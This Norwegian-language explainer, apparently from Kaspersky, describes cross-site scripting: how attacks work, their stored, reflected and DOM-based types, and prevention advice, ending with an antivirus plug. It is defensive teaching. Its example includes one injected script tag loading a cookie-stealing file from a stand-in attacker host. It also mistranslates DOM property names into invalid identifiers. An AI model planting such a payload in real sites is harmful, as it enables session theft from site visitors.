Hopp til hovedinnholdet

Hva er Cross-Site Scripting (XSS)?

XSS innebærer at ondsinnet kode injiseres i ellers pålitelige nettsteder. XSS oppstår når nettkriminelle injiserer ondsinnede skript inn i innhold til det målrettede nettstedet, som deretter inkluderes med dynamisk innhold levert til offerets nettleser. Offerets nettleser kan ikke vite at de ondsinnede skriptene ikke er til å stole på, og utfører dem derfor.

Som et resultat kan de ondsinnede skriptene få tilgang til informasjonskapsler, økttokener eller annen sensitiv informasjon som beholdes av nettleseren og brukes på dette nettstedet. Angripere kan også bruke XSS til å spre skadelig programvare, omskrive innholdet på nettsteder, forårsake problemer på sosiale nettverk og nettfiske etter brukeropplysninger. XSS skiller seg fra andre webangrep ved at det ikke er målrettet mot selve applikasjonen. I stedet er det brukerne av nettapplikasjonen som er i fare.

Slik fungerer XSS

XSS fungerer ved å manipulere et sårbart nettsted slik at det returnerer ondsinnede skript til brukerne. Ofte involverer dette JavaScript, men alle språk på klientsiden kan brukes. Nettkriminelle retter seg mot nettsteder med sårbare funksjoner som godtar brukerinndata – for eksempel søkefelt, kommentarfelt eller påloggingsskjemaer. Kriminelle legger ved sin ondsinnede kode på det legitime nettstedet, og lurer i hovedsak nettlesere til å bruke skadelig programvare når nettstedet blir lastet ned.

Siden JavaScript kjører på nettsiden i offerets nettleser, kan sensitive detaljer om den godkjente brukeren bli stjålet fra økten, slik at ondsinnede aktører kan angripe nettstedadministratorer og kompromittere nettsteder.

Avhengig av hvordan koden injiseres, kan det hende at det ondsinnede innholdet ikke engang er på selve nettsiden, men som et forbigående element som bare ser ut til å være en del av nettstedet på tidspunktet for utnyttelsen. Dette kan skape en illusjon om at det faktiske nettstedet er kompromittert, når det ikke er det.

Det er forskjellige måter å utløse et XSS-angrep på. For eksempel kan utførelsen utløses automatisk når siden lastes inn eller når en bruker holder musepekeren over bestemte sideelementer, for eksempel hyperkoblinger. I noen tilfeller utføres XSS mer direkte, for eksempel i en e-postmelding. Noen XSS-angrep har ikke et spesifikt mål; angriperen utnytter ganske enkelt en sårbarhet i applikasjonen eller nettstedet, og utnytter alle som er uheldig nok til å bli ofre.

Avhengig av angrepets omfang kan brukerkontoer bli kompromittert, trojansk hest-programmer aktivert og sideinnhold modifisert, noe som villeder brukere til å røpe de private dataene sine. Økt-informasjonskapsler kan bli avslørt, slik at en gjerningsmann kan etterligne gyldige brukere og misbruke deres private kontoer.

Et vellykket XSS-angrep kan ha ødeleggende konsekvenser for en nettvirksomhets omdømme og forhold til sine kunder. Dessverre er feilene som gjør at XSS-angrep kan lykkes ganske utbredte. XSS-angrep kan utnytte sårbarheter i forskjellige programmeringsmiljøer, inkludert VBScript, Flash, ActiveX og JavaScript. XSS retter seg først og fremst mot JavaScript på grunn av språkets tette integrasjon med de fleste nettlesere. Denne evnen til å utnytte vanlige plattformer gjør XSS-angrep både farlige og utbredte.

Innvirkning fra XSS

Ved å utnytte XSS-sårbarheter kan en angriper utføre ondsinnede handlinger, for eksempel:

  • Viderekoble brukere til et ondsinnet nettsted.
  • Fange brukernes tastetrykk.
  • Få tilgang til brukernes nettleserhistorikk og innhold i utklippstavlen.
  • Kjøre nettleserbaserte utnyttelser (f.eks. krasje nettleseren).
  • Få informasjon om informasjonskapsler fra en bruker som er logget inn på et nettsted.
  • Å stjele tokenet for påloggingsøkten, slik at angriperen kan samhandle med programmet som offeret uten å vite passordet deres.
  • Tvinge brukeren til å sende angriperstyrte forespørsler til en server.
  • Endre innholdet på en side.
  • Lure offeret til å røpe passordet sitt til programmet eller andre applikasjoner.
  • Smitte offeret med annen ondsinnet kode ved hjelp av et sårbarhet i selve nettleseren – og muligens overta offerets datamaskin.

I noen tilfeller kan et XSS-angrep føre til en fullstendig kompromittering av offerets konto. Angripere kan lure brukere til å skrive inn opplysninger på et falskt skjema, som gir all informasjon til angriperen. Når de får innloggingsinformasjon, kan angripere bruke den til å begå identitetstyveri eller økonomisk svindel.

Typer XSS-angrep

Skripting på tvers av nettsteder kan deles inn i tre hovedkategorier – lagret XSSreflektert XSS og DOM-basert XSS.

Lagret skripting på tvers av nettsteder (vedvarende XSS)

Lagret XSS – også kjent som Persistent XSS – regnes som den mest skadelige typen XSS-angrep. Lagret XSS oppstår når brukerleverte inntastinger lagres og deretter gjengis på en nettside. Typiske inngangspunkter for lagret XSS inkluderer meldingsfora, bloggkommentarer, brukerprofiler og brukernavnfelt. En angriper utnytter vanligvis dette sikkerhetsproblemet ved å injisere XSS-nyttelast til populære sider på et nettsted eller sende en lenke til et offer, og lure dem til å se siden som inneholder den lagrede XSS-nyttelasten. Offeret besøker siden, og nyttelasten utføres på klientsiden til offerets nettleser.

Reflektert skripting på tvers av nettsteder (ikke-vedvarende XSS)

Den vanligste typen XSS er kjent som reflektert XSS (også kjent som ikke-vedvarende XSS). I dette tilfellet må angriperens nyttelast være en del av forespørselen som sendes til webserveren. Den reflekteres deretter tilbake på en slik måte at HTTP-responsen inkluderer nyttelasten fra HTTP-forespørselen. Angripere bruker ondsinnede lenker, phishing-e-post og andre teknikker med sosiale manipulasjon for å lure offeret til å sende en forespørsel til serveren. Den reflekterte XSS-nyttelasten blir deretter kjørt i brukerens nettleser.

Reflektert XSS er ikke et vedvarende angrep, så angriperen må levere nyttelast til hvert offer. Disse angrepene gjøres ofte ved hjelp av sosiale nettverk.

DOM-basert XSS

DOM-basert XSS refererer til en XSS-sårbarhet som vises i DOM (Document Object Model) i stedet for en del av HTML-koden. I reflekterte og lagrede XSS-angrep kan du se sårbarhetsnyttelasten på responssiden, men med DOM-basert XSS vil angrepets HTML-kildekode og svar være det samme, dvs. nyttelasten blir ikke funnet i svaret. Den kan bare observeres ved kjøretid eller ved å undersøke DOM på siden.

Et DOM-basert XSS-angrep er ofte et angrep på klientsiden, og den ondsinnede nyttelasten blir aldri sendt til serveren. Dette gjør det enda vanskeligere å oppdage for nettappbrannmurer og sikkerhetsteknikere som analyserer serverlogger, fordi de aldri ser angrepet. DOM-objekter som oftest manipuleres innbefatter URL-adressen (dokument.URL), ankerdelen av URL-en (lokasjon.hash) og henviseren (dokument.henviser).

Skripting på tvers av nettsteder

Eksempel på XSS-angrep

Eksempel: mens du surfer på et e-handelsnettsted, identifiserer en dårlig aktør en sårbarhet som gjør at HTML-tagger kan legges inn i nettstedets kommentarfelt. De innebygde taggene blir en permanent funksjon på siden, noe som får nettleseren til å inkludere dem med resten av kildekoden hver gang siden åpnes.

Angriperen legger til en kommentar, slik: Mye for pengene. Les hele anmeldelsen min her <script src=«http://attackersite.com/authstealer.js»> </script>.

Etter det, vil HTML-taggen i kommentaren hver gang siden åpnes aktivere en JavaScript-fil, som er lagret på et annet nettsted og kan stjele besøkendes økt-informasjonskapsler.

Ved hjelp av økt-informasjonskapselen kan angriperen kompromittere den besøkendes konto og gi dem enkel tilgang til personlig informasjon og økonomiske data. I mellomtiden er den besøkende, som kanskje ikke engang har rullet ned til kommentarfeltet, uvitende om at angrepet fant sted.

I motsetning til et reflektert angrep, der skriptet aktiveres etter at man klikker på en lenke, krever et lagret angrep bare at offeret besøker den kompromitterte nettsiden. Dette øker angrepets rekkevidde og setter alle besøkende i fare, uansett hvor forsiktige de er.

Fra angriperens synspunkt er vedvarende XSS-angrep vanskeligere å utføre på grunn av vanskeligheter med å finne både et trafikkert nettsted og ett med sårbarheter som muliggjør permanent skriptinnbygging.

Forebygging av XSS

For å minimere sårbarheten for XSS, bør nettstedutviklere/eiere:

  • Sørge for at enhver side på nettstedet deres som godtar brukerinndata filtrerer ut kodeinndata, som for eksempel HTML og JavaScript.
  • Søke etter eventuelle sårbarheter i webapplikasjonen, og deretter fikse dem.
  • Oppdatere nettstedet og serverprogramvaren for å forhindre fremtidig utnyttelse av sårbarheter som kan målrettes gjennom et XSS-angrep.

For å unngå å bli offer for et XSS-angrep, bør enkelte brukere:

  • Deaktivere skript på sider der de ikke er påkrevd, eller deaktivere det helt.
  • Unngå å klikke på lenker fra mistenkelige e-poster eller innlegg på meldingstavler, siden de kan føre til kompromitterte sider.
  • Få tilgang til nettsteder direkte ved å skrive inn nettadressen i nettleseren i stedet for via en tredjeparts kilde eller lenke.
  • Holde programvaren oppdatert for å dra nytte av de nyeste feilrettingene og sikkerhetsoppdateringene. Regelmessig oppdatering av programvare vil redusere sårbarhetene som gjør et nettsted eller en applikasjon åpen for XSS-angrep.
  • Kontroller applikasjoner for å avgjøre hvilke som er nødvendige og hvilke som sjelden brukes. Å bli kvitt apper du ikke bruker, reduserer antallet potensielle sårbarheter.
  • Bruk antivirus av høy kvalitet, for eksempel Kaspersky Total Security – dette fungerer kontinuerlig for å sikre enhetene og dataene dine. Det blokkerer vanlige og komplekse trusler, inkludert virus, skadelig programvare, løsepengevirus, spionprogrammer og alle de nyeste hackertriksene.

Relaterte artikler:

Hva er et skriptangrep på tvers av nettsteder? Definisjon og forklaring

Hva er XSS? Lær om sårbarheter, angrep og forebygging for XSS.
Kaspersky Logo